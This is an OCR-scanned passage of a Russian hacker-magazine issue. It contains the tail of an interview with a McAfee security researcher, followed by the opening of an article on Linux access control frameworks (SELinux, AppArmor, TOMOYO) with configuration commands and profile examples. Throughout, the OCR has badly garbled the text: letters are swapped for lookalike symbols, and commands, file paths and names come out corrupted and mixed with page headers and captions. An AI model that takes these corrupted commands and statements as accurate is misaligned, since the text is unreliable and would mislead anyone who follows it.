вь!давали' еще ни в одной не отказали'
[\/} 8сем бь; твою удану и таланть: ,}.
[ледующий вопростохе из разряда самь]х
очевиднь!х _ а как с язь!ком, где и какть! учил
английский, и то лько ли анг лийский?
(!(:0, в свое время я задумал научиться писать
на инглише. Ёо какэто сделать? (то будет
править мои ошибки? ['|отьгкался я тогда, поть!_
кался, и никуда не берр меня с моим позорнь!м
знанием язь;ка. ]огда я устроился в один хур-
нальчик, чтобь; писать эротические рассказики
от имени девушки-лес6иянки, опись:вающей
свои похохдения. 1ам от моего английского
тохе пришли в ухас' но... 6татьи возбухдали
молодь!х дрочеров, и редактор дал добро. (ор_
ректорь! тогда почти полностью перепись!вали
тексть! моих первь!х.,статей>>' так что за вь!четом
всех штрафов у меня оставалось $5 за статью,
но это бь:ла школа молодого 6ойца. 6ледую_
) 086
вице_президенту нас из }краинь;, а старший
ви це- п резидент из |ерма нии.
Али,кпримеру, в магазине грахданин 6[]..]А
говоритсо мной на английском' которого я не
понимаю. 8 смьпсле, кассир. потому что он -
индус' а другой кассир - мексиканец. 8одитель
такси _ обь:чно китаец или вьетнамец, и так
далее. [1отомутщ и национализма немного, и
к приезхим почти нетотношения <<понаехали
уР.
[\/!.: Расскахи, какть; попал в йсА{ее.3то они
те6я нашли, или'гь: их?
((:8 феврале 2009 Ёп0еауог5есцг!1у где я ра-
ботал, продал все свои акции компании йсА{ее.
и мой шеф сл росил меня ' ка кие у меня пла н ь!
на хизнь. [ак как я тогда бь:л контрактником, то
после этой сделки фактинески терял рабоц но
онень друхнь:й тим..' 8 общем, я из-за тима
и подписался на это дело, хотя и думал' что в
мега_корпорации [а у нас около 1 0 ть:с. сотруд-
ников и5 ААА, в одном из которь:х я), карьеру
не построить. 8 больших компаниях итак много
мозгов. да и бюрократия такая, какой дахе в
6₠[Р не бь:ло'
! о та к полун илось, нто официал ьно' на полную
занятость' меня трудоустроили с августа' а
зимой сказали, что я - сотрудник года. второй
сотрудник года - китайский унень:й, с которь:м
мь! вместе оттягивались в ['1екине. Больше
сотрудников года не 6ь:ло. 1о есть' из '] 0 000
неловек вь:6рали двух' [ь: меня извини за вь!ра-
хение' но я просто [сепзоге6].
[\1!.: А этого звания те6я удостоили за какие-то
конкретньсе заслуги?
х^квР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
(.(.:8 о6щем, да. Ёсли помнишь, бь:ла такая
нашумевшая атака на 6оо9[е - <Ашгога>.
8от за нее и наградили. Фокус в том' нто я ее
эвристикой распознал, модулем, которьтй соб-
рал еще в августе-месяце, то есть за полгода
до самой атаки. (онечно, мне просто повезло,
как везет немногим... Ёо в итоге оказалось,
что передо мной открь:лисьтакие перспекти-
вь!' о которь!х я вообще меятать не мог..!ахе в
принципе.
|\А.: Ёапример?
(.(.: 8озмохность заниматься тем, что мне
ин !ересно. 1о есть, у меня ест ь свой продукт
и свое видение ситуации. ! его тону, и меня
Ёет' на самом деле, я работал' конечно... (ак
раз гуляю по афинским развалинам' а тут на
телефон приходит смс' мол' полундра. | хва-
таю ноут [Азшз еее' благо он с собой, в сумке}
и прямо среди развалин сахусь и ра6отаю на
правительство [[!]А,).
!А.: Ёо полунается' в Америке ть! осел ухе
надолго, раз тебе все нравится и впереди
прекраснь!е перспективь:?
(.(.: Ёсли нестно,'!вропа мне нравится 6оль-
ше, так что [1_.1тать: вариант пока не оконча-
тельнь:й - представительства \4сА{ее есть и в
Ёвропе' А осел я пока что, ]ак (ак невь:ездной'
1!А.: ['1огоди. то есть сейчас ть: в статусе неле_
гала?.'
в понедельник вот подал петицию на смену
статуса.
8оо6ще, 6|]]А - одна из немногих стран' у
которой есть официальная госпрограмма по
поддерхке профессиональнь:х рабоних. 8
других странах с этим труднее' там государс-
тво не озабочено такими вопросами.
||А.: 9то х' уда н и с 6ума га м и' и давай на п осле
док немного отвлечемся от работь:' Расска_
хи, как в 6[.].]А, а в частности, в городе Рес-
тон' штат 8ирхиния, о6стоятдела с ценами
на хилье и еду, что с транспортом? [ловом'
посвяти нас в бь:товь:е нюансь!.
(.(.: (ак я искал хилье?.[,а я ухе бь:л в
курсе, что здесь и как' разобрался еще во
время прошль!х визитов (и в инете мохно
найти все|]. )(илье снимается элементар-
но - за $2000 мохно снимать двухэтахнь:й
дом с бассейном и личнь!м кортом, на то у
нас и деревня' хоть и до 8ашингтона рукой
подать. Ёо я за чуть меньшие деньги снимаю
довольно скромную квартиру, потому что чис-
то, с ме6елью и 6ь:стро. ['1ри этом часто дахе
паспорта не спрашивают, как ни странно.
Ёу, у меня вот не спрашивали ни !0' никаких
других документов. 0плату просто с кредитки
спись!вают понедельно.
А вот купить квартиру здесь... 8 общем-то'
если 6рать в кредит' кваРтира в центре
Рестона с одной спальней обойдется в $500
в месяц, при зарплате порядка $1 0 000 в
месяц' }ак нто получается' квартира практи-
чески ничего не стоит. Ёо' повторюсь' у нас
деревня:]
6 ценами на еду и прочие товарь! хизнен-
ной необходимости все обстоит примерно
такхе: на ] 00 баксов мохно на6рать онень
много вкусного в магазине <<для богать:х,, в
котором' кхм, немногие из наших сотрудни-
ков отовариваются, и спокойно питаться куп-
леннь!м неделю. йнтернет... !у' в принципе,
256 кило6ит за $20 в месяц - это нормально,
безлимитка.
А вот машинь; у меня нет, так как я водить
не умею - как-то вот не научился раньше'
а сейчас времени нет этим зацяться. [1 хотя
от дома до офиса мне топать всего 1 5 минут'
это все равно очень напрягает. 8 [..]татах без
машинь! - труба: например' без.колес' я
не могу вь:биратьхильетам, где хону.3десь
часто и тротуаров-то нет, только дороги.
1ак что в целом в [|1татах онень дахе ничег0.
!апример, за полгода всего раз отключали
воду, минуть! на две. !ведомили о6 этом за
три дня и страшно извинились' А все понему?
,[,а потому нто при всем здешнем бардаке тут'
по крайней мере' есть с кого спросить.
Р.5. !1ерез три дня после этого интервью (рис
успешно получил визу 0-1 А, то есть сменил
свой официальнь:й статус на неиммиграци-
оннь:й рабоний, с чем мь! его
и поздравляем! 3
(.(.: Ёет, не совсем' (ахдь:й раз при въезде в
страну [в [|1]А], ть: о6ъясняешьтамохеннику
цели визита' показь!ваешь вещдоки, беседу-
ешь с ним, а он снимает отпечатки, фотогра-
фирует сетнатку и отправляеттебя дальше.
['1роходишь, в общем, через три круга ада'
и последняя инстанция бухаеттебе штамп
!94, где указано' сколько ть! мохешь бь:ть в
![1..1А -.. обь:чно этотри или шесть месяцев с
возмохностью продления. [1олунается, нто
находиться в ₠[1]А мохно и 6ез визь:' но воп
вь!ехать нельзя. [очнее' мохно' конечно, но
потом не получится въехать обратно' 8от я
сейчас как раз такой..невь!ездной> - по-
зиция легальная' просто |94 заканчивается.
[4охно продлить на 6 месяцев, но нельзя
пересекать границу' так как визь! нет. (ак раз
кус0чБк АмгРикАнск0г0 г0Р0дкА РБст0н 0т кРисА
(пвРвов впвчАтлвнив от сАмого
РвстонА Бь]ло очвнь сильнь|м.
пРБдстАвляЁшь, 3АдницА
полнАя)
никто не трогает:]' Более того, дахе вь!шес-
тоящее начальство мне помогает. 8от сейчас
главнь:й архитектор в свободное время
работает над моим экспериментальнь!м про-
ектом' которь:й пока функционируеттолько на
лабораторном столе.
6А.:.[,а, заниматься лю6имь;м делом' имея для
этого и время, и средства' и получая за это
деньги - это действительно прекрасно. А по
фрилансерским разъездам не скунаешь?
(.(.: !-1у, я недавно два месяца нагло прогу-
ливал, слоняясь по Ёвропе и пось:лая шефу
приветь! то из [|.!вейцарии, то из Афин :]. меня
за это загнали в 5-дневнь:й неоплачиваемый
отпуск' то есть, я потерял 1/4 зарплать: за
месяц. 0биделся хлко.
хАк₠Р 08 /1 з9/ 1 0
) 087
BemeP34 for Journal-plaza.net
[онка
[)п!х, родивши йся практически вместе с первь!ми компьютерами,
использовал очень простой механизм безопасности [ш9о), которь:й гуру
семидесять!х посч итали6олее чем достаточнь!м. |о в современной
системе, где крутятся десятки демонов и программ, запущеннь!х из-под
раз н ь!х уч ето к' гра м отн о раз рул ить все п ра ва ста рь! ми ин струм е нта м и
ухе не получается. Аделать что-то нухно.
ч
дискРвци0ннь!и
и мАндАтнь|и к0нтР0ль
д0ступА
!ля нанала отвлечемся и поразмь!шляем отом'
что есть и зачем нухно еще что-то прикручи
вать. 0дна из задан любой 0[ - о6еспечить
> о88
разделение информации. основь!ваясь' в
первую очередь. на требованиях конфиден-
циальности и целостности. 1радиционная
модель [-.1п!х оперируеттремя параметра-
ми - пользователь' группа-пользователь и
0(]60Бчо!₠. !азь:вае :ся о;а дись реционной
{0!зсге{1опагу Ассезз [оп{го[ - 0А[]' то есть
добровольной моделью доступа. [1ол ьзователь
сам определяет права доступа к своим файлам'
а вь!полняющиеся программь! имеютте хе
права, что и запустивший их пользователь'
йеханизм 0А[ опирается в своей работе только
х^кЁР 08 /]з9/ ]0
BemeP34 for Journal-plaza.net
9л_ пё.9₠ Фф'. б. '.с!ф в9.!г.Ф.9у!оп
ц-
|} Арр!|са!оп5 пасез 5у5[ем
2:2. ш о'
г.!е нё!р
5|ав5
@
*?в
5р₠с!лса!оп
5у5|еф_! :оь]₠с._г: хеп-|па9а-|:5о
а!| п!е5
ап л|е5
на тохдество пользователя, игнорируя друцю информа-
цию' например, о роли пользователя в системе' функции и
уровнедоверия конкретной программь! и нео6ходимости в
целостности даннь!х' кахдая учетная запись имеет полную
свободудейс] вий в пределах своих полномочий'
(акть: понимаешь, развернлься с 0А[ особенно негде:
все или ничего; винда - и та дает больше возмохностей по
настройке доступа к о6ъектам. ['1оэтому сегодня для !-1пшх
досцпнь| решения' базирующиеся на совершенно другой
модели защить! - \4А6 [йап6атотАссе55 соп!го[, прину_
дительнь!й контроль досцпа]. 0ни позволяют определить
политики безопасности над всеми процессами и объектами,
решение од0сцпе принимается на основе большего коли-
нества информации об объекте, а нетолько основь!ваясь на
тохдестве пользователя. [1ринем йА[ не отменяет' а допол-
няет 0А!' так как сначала проверяются права 0п!х' и, если
они запрещаютдосцп, то дальнейшая проверка просто не
п роизводится. ['1 роверка п ра в вь! п ол няется тол ько в то м
случае' если стандартнь!е права !п!х разрешаютдосцп к
объекц.,|''1юбой объект помещается в некую вирцальную пе-
сочни цу, которая позволяет прилохен ию вь!полнять только
строго регламенти рованнь!е задани. ['1 ринем при описан ии
досцпа к о6ъекц кон кретнь!е реализации мотг придерхи-
ваться разнь!х принципов: оченьстрогие правила потипу
<чт0 не разрешено явно - запрещено> и <минимально
нео6ходимь:е пр ивилегии>> - Ёапример' мохно настроить
с и стему та к, что ве6-серве р будет слушать соеди нен и я н а
строго определенном порц' сможет нитать файл ь: только
в указа н ном каталоге и та к далее. 1о есть оп исать поведе-
ние системь! в ее н0рмальном сос']оянии' создав хесткий
каркас, за которь:й нельзя будет вь;скочить.3то позволяет
вь!полнять программь! с правами обь;чного пользователя'
а доступ к нео6ходимь:м ресурсам указь!вать при помощи
политик. 3 дистрибщивах ||пшх используются два решения:
5Ё!*!пцх в Ре0Ёа1 и клонах' а такхе АррАггпог в [.]ь0п|0.
8 ядре версии 2'6.30 появился код еще одного проекта -
т0м0у0 |!пцх [|огпоуо.з1.|р), которому пророчат светлое
будущее, но пока поумолчанию он нигде не используется'
.[авай рассмотрим их осо6енности, а такхе плюсь! и минусь!'
свЁРхзАщищБннь|й 5Ё[! шцх
|1 рое кт 5Ё|! пш х {5есш г1|у Ёп 6а п се6 |! пш х' зе [ п о х р го] ес| '
!!9} зародился в недрах !'5. \5А [\а!1опа| 5есшг!1уА9епсу)'
хмурь!е неразговорчивь!е дядьки которого поставили своей
цел ью до п ил ить || п цх та ки м о6разом, нтобь: е го мохн о бь:ло
спокойно использовать не где_ни6удь' а в правительствен-
нь:х системах. Анонсирован общественности в 2000 году,
затем разра6отники справедливо решили: зачем что-то
делать самим' если в интернете есть много хелающих? 8
хАкБР 08 /1 з9, 1 0
|оафический инструмент 5Ё|!пцх А6п|п1з1га1;оп
результате сегодня пр0ект развивается подлицензией 6\[.]
6Р!_ и ухе вклюнен в состав ядра ветки 2.6.х' такхе вь!пол-
нена адаптация для [гее850 и 0реп5о[аг!з'
Реализация йА[ требует неткого описания правил' что
может привести к образованию большого их количества.
['1оэтому в 5Ё !_!пшх использована концепция роль-основан-
ного контроля доступа Ро[е-8азе0 Ассезз [оп1го[ (Ё8А[}' в
которой определяются роли и доступ пользователей. йеха-
низм защить! в 5Ё||пцх носит название 1уре Ёп{огсепеп[
[[Ё] и позволяетзакрепитьза кахдь!м процессом и файлом'
которъ!е необходимо контролировать, некую метку. Рсли
процесс' запущеннь:й от имени администратора' ском-
промети рован' то ущерб, которь:й мохет бь:ть прининен
системе' огран ичен только тем, к чему он мохет обращаться,
согласуясь с установленнь!ми для него правилами [а они
опись!вают поведение оченьтонко]' 1акхе в 5Б[!пшх реа-
лизована многоуровневая система обеспечения 6езопас-
ности {й |5' йо[1|-|еуе[ 5есцг||у по0е|], но ее задействуют
только в особь:х случаях' например' в правительственнь!х
многопользовательских сис|емах' требующих нрезвь:чайно
вь!сокого уровня защить!. (огда в процессе работь: системь!
субъект пь;тается оказать некое действие на о6ъект' 5Ё||пцх
принимает решение о допустимости указанного дейст-
вия. основь!ваясь на контекстах безопасности обьекта и
су6ъекта. [убъект - это процессь1, вь|полняемь!е от имени
запустившего их пользователя. 06ъект - элементь: фай-
ловой системь; [файль:' каталоги, ссь!лки' сокеть: и пр') или
другие процессь!, над которь!ми вь[полняются действия'А
те пе рь са м ое вахн ое, что отл и ча ет 5Ё [1 пш х от других ре ше-
ний. описаннь:х далее - все вахнь!е защитнь:е атрибщь:
сохраняются в контекстах безопасности' [')оэтому файловая
система долхна уметь хранить дополнительнь!е атрибрь:' и
сами атрибуть: нухно как_то задать. [овременнь!е ядра все
обеспечиваю-' но при самостоятельной пересборке ядра
не забудь активировать параметр "Ёх1еп0е0 а{1г!бш{ез' в
вь:бранной файловой системе.
Атрибуть: уста на вл и ва ются при инициализации си стем ь!.
0тсюда делаем вь:вод' нто обьеьтухе долхен существо-
вать на моментустановки атрибщов. [ам атрибд включает
идентификатор владельца' роль и тип объекта. ['1ринем
идентифи катор 5Ё| !пшх [создается командой ьепапа9е]'
хотя и мохет совпадать в номере с 0!0 пользователя |!пцх
|ц:6]' но это две разнь!е вещи. Ёе за6ь:ваем еще о6 одном
вахном отличии - 5Ё|!пшх оперирует ролями, поэтому
несколько учетнь;х записей !_!пшх моцт иметь одну и ц хе
унетную запись 5Ё||пцх' 14 главное - вь!полнение командь!
г ]!п&э
. [айт проекта 5Ё!*]-
пшх - зе[!пш1рго]ес|-
ог9
. !айт проекта
т0моу0 !_1пшх -
1ог1!уо.51 р
> !п[о
(ахдое прилохение
долхно иметь доступ
только к тем файлам
и каталогам' которь!е
де й ств ител ьн о
необходимь: для его
работь;' й не более
того.
) 0уа
Ёа прилагаемом
к хурналу диске ть!
найдешь видеоролик
к этой статье
) о89
BemeP34 for Journal-plaza.net
(роме проектов, описаннь!х в статье, в настоящее время разви-
ваются и другие, позволяющие повь!сить защиц !-|пшх-систем
_ |!05 [!-!пцх !п!гцз!оп 0е{ес1!оп 5у5|еп' |!6з.ог9),6Р5есшг!|у
[9гзесшг!1у.ог9) и Р58А[ (Рц|е 5е1 8азе6 Ассеээ [оп1го[' тмшш'гз5ас.
9щ1]. (ратко о них'
[1роект |! 05 реализует йА6' админ мохет четко указать разреше-
ния дляфайлови каталогов. |]омимо этого механизмь: 1РЁ {1гцз1е6
Ра{Б Ёхесц1|оп| и 10Б [1гшз!е0 0опа|п Ёп{огсегпеп{! позволяют
убедиться, нто программа ра6отаеттак' как предназначено. [айт
проекта некоторое время бьпл заброшен, хотя инструменть! разви-
ваются.
!правление производится при помощи лилит и чем-то напоми-
нает настро й ку п ра в ил фа йера '
# 1]ёэсоп! _А _о ,/5ь1п _'] РвАоош!у
0 Р5есо г!{у - раз ра ботка, охвать! ва ю щая н ес кол ько тех н ол о-
гий укрепления безопасности - йА!/А6|, улучшеннь:й сбгоо1'
рандомизация 1₠Р 15\ и Р!0, ролевая система контроля досцпа
Р8А6' функции аудита' защита адресного пространства и стека
Ра| [доступен и отдел ьно!. Бол ьш и н ство па ра м етров указь! ва ется
на этапе с6орки ядра' затем при помощи угилить:9га6п настраи-
ваются А6|.
['1роект Р58А6' реализующий мандатнь:й и ролевой механизмь!
досцпа' ухе в 2000 году вовсю использовался в защищеннь!х дис_
трибгивах. ['1о сри, это среда' позволяющая создать различнь!е
модели досцпа. 14дея основана на публикации йаршала А6рамса
и /1а [1адула "0бобщенная среда для управления досцпом" [6РА6,
0епега[!:е0 Ёгапетмог( {огАссезз 6оп1го[]' (роме гоо| в 0[ появ-
ляется учетка администратора безопасности, которь;й и управляет
досцпом к информации.
Реализовано много интереснь:х функций: отключение |!пцх
0А[, сокрь:тие процессов, !А!!-' поддерхка Ра[, антивируснь:й
интерфейс 0а:ц(о, контроль ресурсов |!пшх и многое другое'
Ёапример' мохно организовать доступ к файлу в определен-
н ь! е чась!.
8'д журнал з6мФкп н.Фолка споавка
-$ 5ц6о са1
!у/аррагфг/рго{11с5
-акопа6! (еп'огсе)
(еп'о.се)
{еп{огсе)
-р6? (еп'огсе)
11ь/сопппап/5сг1р{5/6ьс1!еп1 -5сг!р1 (еп{огсе)
!!ь/ше1югкмпа9е./пп.6ьср. с11еп1.ас1'оп (еп'огсе)
'еп1з (еп'огсе)
5ц не меняет идентификатора 5Ё|!пцх' 1о есть гоо{ здесь не всевластен
['1роверить этолегко:
$|а_7
ц5 ет_ц : !5ет_! : !!псопг 'пеа-с
['1олунаем привилегии суперпользователя и проверяем снова :
$зц
+!а_2
ц5ег_ц : ц5ег_|' :цпсоп! 1пе6 .
Ёсли зайти сразу под ргом' то рольдругая:
#|а_7
тоос : 3у3[еп-г : шпсоп{ |пе0_[ : 5у5 с еп!ош_ 5у3[епн19ь
!1зменить роль мохно при помощи командь! петмго[е. [')ри использова-
нии 5Ё|]пцх штатнь!е командь! вь!водят и контекст. 9тобь: просмотреть
контекстфайлов и процессов, на6ираем:
# 15 _1 _сопсехс /
# рз -ах _2
(роме того' контекст мохно снитать прямо из /ргос'
) 090
-$ 5ц6о са1 /5у97!@гпе1/5ес0г1{у/аррагпог/{еа{цге5
г!!Фз.1 сараь111!у=2.о пе1фгк=1.0 сьал9е_ьа1=1.5 сьап9е_рго''1е=1
-$!
[мотрим активнь:е профили и параметрь; АорАггпог
# рз ашх ! 9гер 5у51о9с
(оос 2129 0.0 0.0 59о8 624 ? 5з 07:30 0:00 зуз1о96 _п 0
# сас / ртос / 2729 / асс( / с0ттепс
5уБ!еп-ц : 5у5сеп_г: Бу5 1о9о_с : 50
['1редусмотрена работа 5 Ё !_!пох в трех рехи мах - 0 !эа б[е [откл юч ен }'
еп[огс|п9 [политики вь!полняются' все' что не соответствует - блоки-
руется!' регп!эз!ме [полити ки ана лизируются'все нарушения заносятся
в хурнал <аус: 6еп!е6", но блокировки не производятся). !знатьтекущий
рехим просто. как, влрочем' и некоторь!едругие настройки,достаточно
п рочитать даннь:е из псевдофайловой системь; /зе[!пох:
$ сас /5е1{пшх/еп{огсе
Бсли полуним '1 ' значит,5Ё|!пцх активирован. !1тобьп изменить режим
работь; на лец, п росто за п ись! ваем в этот фа йл 0 ил и 1 :
# еспо 0 > /зе1]пцх/еп[отсе
1акхе мохно воспользоваться лилитой <зе1еп{огсе [ Ёп{огс!п9 |
Регп|зэ]уе ! 1 !0]".
[обственно настройки производятся в конфицрационнь;х файлах' раз-
мещеннь1х в каталоге/е1с. 8дистрибутивах, базирующихся на Ре6Ёа!'
досцпен графинеский 5Ё !-!пшх А6п!п!э1га|!оп 1оо[ [зуз1еп_соп1!9-
зе[!пшх, пакет ро[!сусогеш1!|э-9ш!). 1ак, рехим работь: устанавливается в
файле /е|с/зузсоп{!9/зе|!пшх [на самом деле это ссь:лка на /е1с/зе[!пшх/
соп{!9)' 8 частности, рехим работь; определяетпараметр 5Б|!\0|:
5в!тш{]х=еп гогс!п9 !регп|зв [уе !0 ] за5]её
['1о умолнанию в большинстве дистри6дивов 5Ё||пшх защищает не все
демонь!, а только строго определеннь:е: 6Бср0, ь{|р6' папе6, пзс6, п1р6'
рог{гпар' зппр0' зчш!0 и 5у5[о96.для остальнь!х политика не определе_
на - цпсоп[!ле0_1. 9тобьп защитить всю систему' необходимо изменить
значение 5Ё |!\[..]!,1|РЁ на з1г]с1:
5в!тш0хтуРв=саг9е|'еа ! 5!т|сс
8 каталоге /е1с/эе[!пшх/1а г9е{е6/соп1ех|5 находим описан ие контекстов.
Ёапример, для гоо1 контекст опись!вается так:
+ сае /е[с,/5е11п!х,/сат9есес/сопсехс5/ц5егз/гоос
5у5сеп_г : !псоп1 !пе6-с : з 0 Бу5[еп_т : цпсоп! |пе6-с : з 0
Бу5!еп_г : 1п]сгс_! : з0 Бу5!еп-г : цпсоп{!пе6_| : з0
хАк₠Р 08 /1з9/ 10
BemeP34 for Journal-plaza.net
;
Ф.йл пФвю в'д журмл з.м.дк' н.оРпю спра60
-| са{ /е1с/аррапо..6/5ь!п.апс1!еп!з
# у!п:5уп{ах=ар[Ё@г
* [а51 и6!т!еа: г.1 .]ц1 17 11:46:19 2оо9
' Ац1ьо.: .]ап!е 51Ёпаьо9е <,ш1фсапоп1са1.соФ
#''пс1!6е <цпаь1е5/91оьа!>
/5ь1п/апс1!еп1з {
'1пс1!6₠ ФьБ!гас1!оп5/ьа5е>
*!пс1цое Фь51гас1!оп5/пш5еш!се>
сараь11|1у пе{-ь1пс_5еп!се,
сараь111{у пе1.м'
сараь1]'1{у 5у5-по6ц1е,
сараь!1,.1у {ас_о!егг1се,
пе1югк раске1.
@{Рп(ю}/*/пе1/ г'
@{Рп0с}/з/пе1/** г'
/5ь!п/(пс11еп1з пг,
/е1с/6ьс1!еп{.соп' г.
/е1с|аьсрз/ .'
/е1с/4ьсрз/.* .'
/уаг71]ь/6ьсрз/6пс1!еп11 1п'
|ипичная политига А0оАгтог
9тобь: просмотреть все контексть:' связаннь:е с !:{{р6, введи такую
ко ма нду:
# 9гер |Р ь|[рс,/е|с,/5е1|п!х/!аг9есео/сопсех|5
1ь; увидишь' что для разнь!х сицаций контекст будет отличаться'
[еперь полуним список всех параметров 5Ё|!пох: <9е{5еьоо[ -а>. для
установки используй команду зе|зебоо[ [с ключом '-Р'для сохранения
значения после перезагрузки] или графинескую рилиц зуз1еп-соп{!9-
зес ш г:!у[еме[.
8ь:вод <эез!а1шз -у>) покахет все текущие установки' !е забь:ваем и о
хурналах:
# 6пез9 | 9гер _| зе1|пцх
5Б[{пцх: тп,| 1а ! 1 7|п9.
5в!|п0х: 5саг[!п9 !п регп|зз!те поёе
# 9гер _|к зе1|пцх /уаг71о9/пе55а9е5
хАквР 08 /|з9, 10
8се вспомогательнь!еутилить! 5Ё|!пох собрань] в нескольких паке_
тах: 5е1оо[5 или ро[!сусогеш1![з' ро[!сусогео1![э-пешго[е' ['1ервь:й' как
правило, ухе установлен в системе, остальнь!х нет. !апример, петшго[е'
дающая возмохность пользователю сменить роль' досцп на именно в
ро[!сусогеш{![з. ['1осле установки в системе присутствуюттолько наборь:
политикдля !аг9епе6' остальнь:е на6орь: политик скачиваются в
пакетах зе[!пшх-ро[!су*. [орць; политикдля их самостоятельной сборки
вь!несень! в зе[|пшх-ро[:су-6ете[.
Разобраться в 6олее нем 200 файлах, имеющих несколько ть!сяч строк,
врукопа ш ную оче н ь трудно. Автоматизи ровать эц задачу п риз ва н
питоновь: й скрипт ац6]12а[[оуу [в ро[!сусогеш{|[з), он генерирует новь!е
политики на основе анализа хурналов и блокировок 5Б!*!пшх.
АРРАпм0п
1ехнология Арр[!са{|оп Аггпог изначально разра6отана !гппцп|х !пс.
['1осле того, как софтвернь;й гигант \оме[[ прио6рел эц компанию,
код открь!ли под лицензией 0ш|-] сР|, а затем включили в состав
ореп5!5Ё' ['1озднее АррАггпог стал досцпен и в других дистри6утивах.
Ёо когда команда !гпгпшп!х покинула \оме[[' дальнейшее развитие
проекта остановилось. [1 хотя в том хе ореп505Ё поддерхка АррАгпог
бь:ла сохранена, вдистрибутив интегрировали 5Ё|!пцх. 8 итоге начали
разноситься слухи а-ля "АррАггпог |з 6еа6>' что у одних вь!звало
радость' так кактеперь все усилия мохно бросить на развитие одной
системь! защить!. удругих критику - отслствие конкуренции еще ни
к чему хорошему не приводило- [егодня апологетом этой технологии
является [апоп|са[' разра6отяики которого не смотря ни на что продол-
хают развитие АррАгпос [ак. в последних версиях добавлен механизм
кэ ш и рован ия п ра в ил, что п озвол ил о ус ко рить их за груз ку. ,{ля этих хе
целей, и нтобь: защитить сетевь!е сервись! на раннем этапе загрузки'
насть профилей вь!несли в !п!{гап{з. /] главное - в |..)бшп1о АррАгпог
прикрлили к |5й [|!пшх 5есшг!|у йо6ш[ез}' задействовав зесшг!|у_ра{б
в м есто у{з.
0сновная идея АррАгпог состоит в том, что система защить1 не долхна
бь;ть слохной и не долхна мешать. 8 отличие от 5Ё|1пшх, АррАгпог не
использует расширеннь:е атри6рь! и не зависит отфайловой системь:'
,[оступ к ресурсам определяется на основе профилей (рго{!|ез), которь!е
привязань! к пути файла иликаталога' принем самого файла мохет и не
бь:ть на момента ктивации профиля. [1рофиль разрабать!вается индиви-
дуально под кахдое прилохение' [отя в этом есть и недостаток: при
переносе файла в 5Ё|!пцх за ним полностью сохраняется контекст безо-
пасности' в АррАггпог - нет' но этого от него и не требовали. [отя, если
файл имеет два имени' и профиль блокирует досцп к одному из них,
есть возмохность ра ботать с други м. 3то следует уч ить: вать. 1а кхе, есл и
средствами 5Ё||пцх мохно предусмотреть несколько уровней досцпа к
объекц для раз н ь:х су6ъекто в, то Ар рАггпог это го не умеет.
3 настоящее время создань! профили для 6ольшинства популярнь[х
серверов и прилохений, поэтому наличие активного АррАгпог обь:чно
незаметно' он не создает про6лем. (роме того, в комплекте поставки
идл два скри пта аа - 9еп р го{ и аа _[о9 рго{, которь: е по мо цт б ь: стро со -
здать профильдля новой программь;' !правление АррАгпог произво-
дится при помощи !п1|-скрипта' которь:й запускает модуль ядра' инициа-
л из и рует п рофил и и монти рует псе вдофа йловую си стему зесш г!1у{з.
$ 9цао /е[с,/]п!с. а,/аррагпог 5|аг.
!1тобь; просмотреть список загрухеннь:х профилей' достатояно снитать
фа йл /зуь/[егпе |/зесш г!1у/а рра гпо г/рго{| |еэ [ ил и за пустить /е1с/! п !1.6/
арраггпог 51а1ш5} | в зависимости от варианта дистрибщива 5егмег/
0еэ|1ор колинество активнь!х профилей будетразлично. [ами профили
хранятся в файлах [отдельно для кахдого прилохения) в каталоге /е1с/
аррагпос6 и внутри содерхат описание каталогов и отдельнь:х файлов'
с указанием прав досцпа. 1акхе указь!вается работа в сети и совмес-
тимость с другими п рофилями..[ля упрощен ия задачи используются
рецлярн ь!е вь!рахен ия. ['1о умолнанию п рофили АррАггпог работают в
принудительном еп{огсе-рехиме. (огда сервис не мохетвь:йти за рам-
ки установок, все попь:тки блокируются и фиксируются вхурнале. ['1ри
Ёаверное' больше всего претензий с тояки зрения безопасности у
пользователя вь!зь:вает5[уре' (удатолько нелезетэта прога (см. ста_
тью (риса <5}<уре | скрь!тая угроза>, шууш. ха [е р. гш/р о з{/38 543/6 е {а о [{ '
а-9р] ' 0п ись: ваемь!е технологи и ка к раз и позволяют обезопасить себя '
3а6егая вперед, скаху' что пользователиухедавно нагенерировали
профили для большинства популярнь:х прог' и скайп здесь не исклю-
нение. [мотри, например' здесь: \мшш.супа 05е5'о г9/|гпр/арра ггп ог1'
ш з г б ! п. з [у!е' Ёекоторь:е профили со6ра нь: в отдельном пакете -
а рра гпог- рго[:[е5'
Ёо профильлегко создать и самому фя этого в комплекте идетлилита
аа-9епрго{ [или просто 9епрго{). 3апускаем ее суказанием исполняе-
мого файла в канестве параметра:
5цао аа-9епрго{ /ш5г,/ь|п/ 5куре
[алее ра6отаем как обь;ч но: звоним ' отсь:лаем соо6щения ' при ни -
маем фа йльт' до6авляем и удаляем унетки. ['1 о окон+а ни и прерь!ваем
работу в каталоге/етс/аррагпоп0/шэгб|п.з[уре. 3атем перезапускаем
АррАгпог или просто активируем профиль в еп{огсе-рехиме:
$ 3цао аа_епгогсе 5куре
8се п роблемь: и заменан ия по работе профилей АррАгпог ищи в логах
) о91
BemeP34 for Journal-plaza.net
Рода:<тоо поли г!/] ь.т0м0\ 0! !п,,^
необходимости его мохно перевести в щадящий рехим согпр[а!п' когда
нарушения лишьфиксируются. [1ринем' в отличие от5Ё||пох' ; де рехим
обунения активируется глобально' в АррАгпог его мохно включить
для отдельного профиля. [!еревести профиль в щадящий рехим мохно
тремя способами:
. указать в файле профиля {[а9з=[сопр[а!п];
. использовать команду согп р[а! п назван ие_п рограп'.т мь [вернуть коман-
дой еп{огсе];
. или глобально командой.есБо 1 ' /зуз/[егпе|/зесог!|у/аррагпог/
соп1го[/сопр[а!п"'
А еще профили отключаются на лету' перегрухаются, в общем' полная
свобода действий- 6обственно' простота и привлекает в АррАггпог адми-
нов' разработников и грос] о!х гользова':елей.
!ополнител ьнь:е п рофили мохно найти в репозитории д истри6ут ива
[ар( сасБе зеагсБ арраггпог]. кроме того' есть онлайн-банк профилей -
1рра_го о0А^> '.Р.огц
( слову' для ядер 2.4|2'6 существовала разработка |гшз|еез (|-:з[еоэ.
з['пе|)' реализующая А[|а_ля \оуе[[ \е{ииаге, которая в удобной форме
распись!вала доступ к каталогам вплоть до указания отдельнь!х групп и
пользователей и не зависела отфайловой системь!' (сохалению, проект
заглох' а это 6ь;ла бь: золотая середина мехду5Ё|!пшх и АррАггпог
т0м0у0!_|шшх
[1роект|0й0[0 |]пшх [{оп':оуо з|]р] начат в 2003 годуяпонской компа-
